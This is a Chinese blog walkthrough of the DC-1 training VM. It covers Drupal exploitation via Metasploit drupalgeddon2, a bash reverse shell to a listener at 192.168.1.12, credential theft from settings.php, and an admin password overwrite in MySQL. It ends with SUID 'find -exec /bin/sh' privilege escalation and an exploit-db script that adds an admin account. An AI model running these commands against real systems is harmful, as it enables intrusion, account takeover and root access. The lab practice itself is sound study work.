【DC系列】DC-1靶机渗透练习

1.主机发现:sudo arp-scan -l,发现靶机ip为192.168.1.11

2.nmap扫描端口:(NAT扫不到,改桥接了)

nmap 192.168.225.132 -sV -sC -Pn -n -v -T5 -p-

扫描到22和80端口,访问80端口

3.访问一下,看到drupal,这都是某种cms

思路就是搜cms都有哪些利用程序,搜索可利用的漏洞:

searchsploit Drupal 7

4.看到有很多现成的的利用程序,有远程的命令执行,在metaspolit有。

5.所以启动msfconsole->search Drupal,回溯上面远程代码执行名叫:drupalgeddon2,找到他在第4行:exploit/unix/webapp/drupal_drupalgeddon2

6.use 4->options(更改配置参数,yes是必填的)-> set RHOST 192.168.1.11->run,弹回metepreter

7.执行输入shell->ls等可以执行命令,但是非交互式不方便,所以可以在kali上挂一个监听,反弹一个交互式的shell

方法:

使用hacktools生成反弹bash:mysql是交互式的必须要进行这一步

bash -c 'exec bash -i &>/dev/tcp/192.168.1.12/6666 <&1'
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty raw -echo; fg
stty rows 38 columns 116

8.cd进入cd sites/,再进入cd default,cat一下看到有settings.php中有很多内容,发现有一些数据库连接的信息

9.连接数据库:

mysql -u dbuser -p

(补充一个启动mysql服务的命令(这里不需要):systemctl start mysql

10.show databases查库,然后use drupaldb这个库,show tables;看有哪些表,因为之前访问网页的时候看到有登录框,所以取users表里面找密码之类的看看,注意Drupal框架默认的用户表就是users表,select * from users然后select name,pass from users;

        发现admin账号和经过加密的密码,drupal常用密码加密是MD5格式,但是7.0以后因为安全性问题将加密方式改成了hash加密(由于很多在线MD5爆破和MD5数据库,可以查到很多MD5码的原文,所以Drupal 7已不再采用Drupal 6和5简单的MD5加密,而是采用一种新型的Hash加密方法。新型加密方法是“加了盐(Salt)”的MD5码,简单理解就是并不会直接将password进行MD5加密,而会和用户名或其它随机字符串组合在一起后再MD5加密。)

11.这里不是md5加密,应该是自定义的加密方式。flag2中给的提示暴力破解不是唯一的方法我们得想一下其他的办法。

12.方法:更新这个密码为我们知道的密码

问题点在于要知道他这个密码的加密方式,让我们一直的密码用相同方式加密得到的数值对他进行修改。

13.重新在shell中开一个监听端口6665,在var/www/scripts路径里的password-hash.sh就是加密密码的一个脚本,通过在var/www/目录下执行./scripts/password-hash.sh pass,可以生成密码:pass的一个hash值:

$S$DmIE.pVOn/xvCmnJT6QyScD09XdYDyxuT7aA67RNl9fNy0bLDlqf

14.重新连接回到数据库,将这个值更新上去:

update users set pass='$S$DmIE.pVOn/xvCmnJT6QyScD09XdYDyxuT7aA67RNl9fNy0bLDlqf' where name='admin';

15.所以admin的密码变成了pass,在网页登录的find content中可以获取flag3

16.根据flag3的提示提权,我们尝试查看用户列表信息(包含用户权限信息),这些用户信息一般存储在/etc/passwd目录下。查看用户列表,获取信息cat /etc/passwd,看到最下方(/etc/passwd包含系统所有账户信息,只有超级用户才有写和访问。该文件每个用户占一行用,分隔成七个字段)

17.切换到home目录下找到flag4,flag4提示内容:提示最后flag in root下面。(其实也可以直接用find命令查找flag4这个关键字,也能爆出flag4文件的路径。find / -name "flag4)

18.提权:

1)使用find命令查看与/root目录有关的文件信息,发现flag文件存在于/root目录下,尝试打开它,发现没有权限,所以必须要提权才能查看最终的flag文件

find /root

find命令是用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件,并将查找到的子目录和文件全部进行显示。

find(选项)(参数)

-exec<执行指令>:假设find指令的回传值为True,就执行该指令

-perm<权限数值>:查找符合指定的权限数值的文件或目录

2)suid提权

1.使用命令查找有哪些命令可以提权:

find / -perm -u=s -type f 2>/dev/null

2.如何使用这些命令进行提权,方法一:可以上网站查询:gtfobins.github.io/gtfobins

find . -exec /bin/sh \; -quit

方法二:使用“-exec”提权

也就是find+perms+exec 命令来提权

1.find ./ acce -exec '/bin/sh' \;

2.touch bcce
find bcce -exec '/bin/sh' \;

再次尝试打开/root目录下的flag文件

cd /root
ls
cat thefinalflag.txt

更隐蔽方式:添加新管理员账户获取flag3

exploit-db(漏洞利用库):

kali中已经内置,默认路径为:/pentest/exploits/exploitdb。可以使用searchsploit命令来搜索exp进行利用。

在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,第二种方法是通过该过程新增admin密码。

1.查看Drupal版本,确定Drupal版本为7.24

cat /var/www/includes/bootstrap.inc | grep VERSION

2.使用searchsploit查找可利用漏洞。选择添加管理员功能的攻击脚本适用于7.0-7.31范围(每个脚本括号后面有功能描述,我这里遮住了),符合7.24版本。

searchsploit drupal

3.利用drupal7.0版本漏洞增加有admin权限的用户

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.1.11 -u hkb -p hkb

4.使用新添加的用户hkb登录网站,在content模块下找到flag3。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值